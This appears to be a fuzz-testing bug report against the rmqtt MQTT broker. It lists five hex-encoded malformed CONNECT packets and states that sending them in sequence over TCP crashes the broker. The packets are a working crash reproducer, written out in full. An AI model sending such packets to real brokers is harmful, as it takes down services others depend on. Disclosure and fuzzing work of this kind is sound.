Firstly, based on the mqtt protocol and fuzz testing, randomly generate a specified data packet sequence: | |
packet 1: 102200044d5154540402003c0016374d304b4b54615049377a347946474c4a656f6d5047102200044d5154540402003c0016374d304b4b54615049377a347946474c4a656f6d5047 | |
packet 2: 102d00044d5154540480349c000c4638635a7077503463645368001341736937456266504c396a57714e373165635a70021e11 | |
packet 3: 103500064d514973647003401eb7001d72634632454d534a6f4b7069366b55673555346c45694d50496d46766100086a345472706b5066 | |
packet 4: 104300064d51497364700380359b00165950307a73316b413570666234704a316c3848697853001d373545754461656d57385369494d595447364664735663675a30543146f0184316150002586316000e59414b4653646c4b4558496c6531d0009008772a46bce2d23f26d000 | |
packet 5: 10cd0100044d51545405840813171500093749336e494a4e6437213c90221c54274bd6698b001468537656623669566a62734b4e70596b7a387a6543030018304a564f30464d364f693179544166536b7048326471465218e89ef58c26000c596970554d7963714e70773200124278517a71633477435969536d6672784d63001a6d554848497238415a567046334d7579747739346e68634e636e0016494c704d7073436842494f345554716539674734774d001b79754751583067326d46634d6a5367426d5a61356c355064447643 | |
Secondly, based TCP/IP,the packets are sent to the rmqtt broker in sequence. | |
Finally, check the broker status and find that the broker crashed and disconnected. |
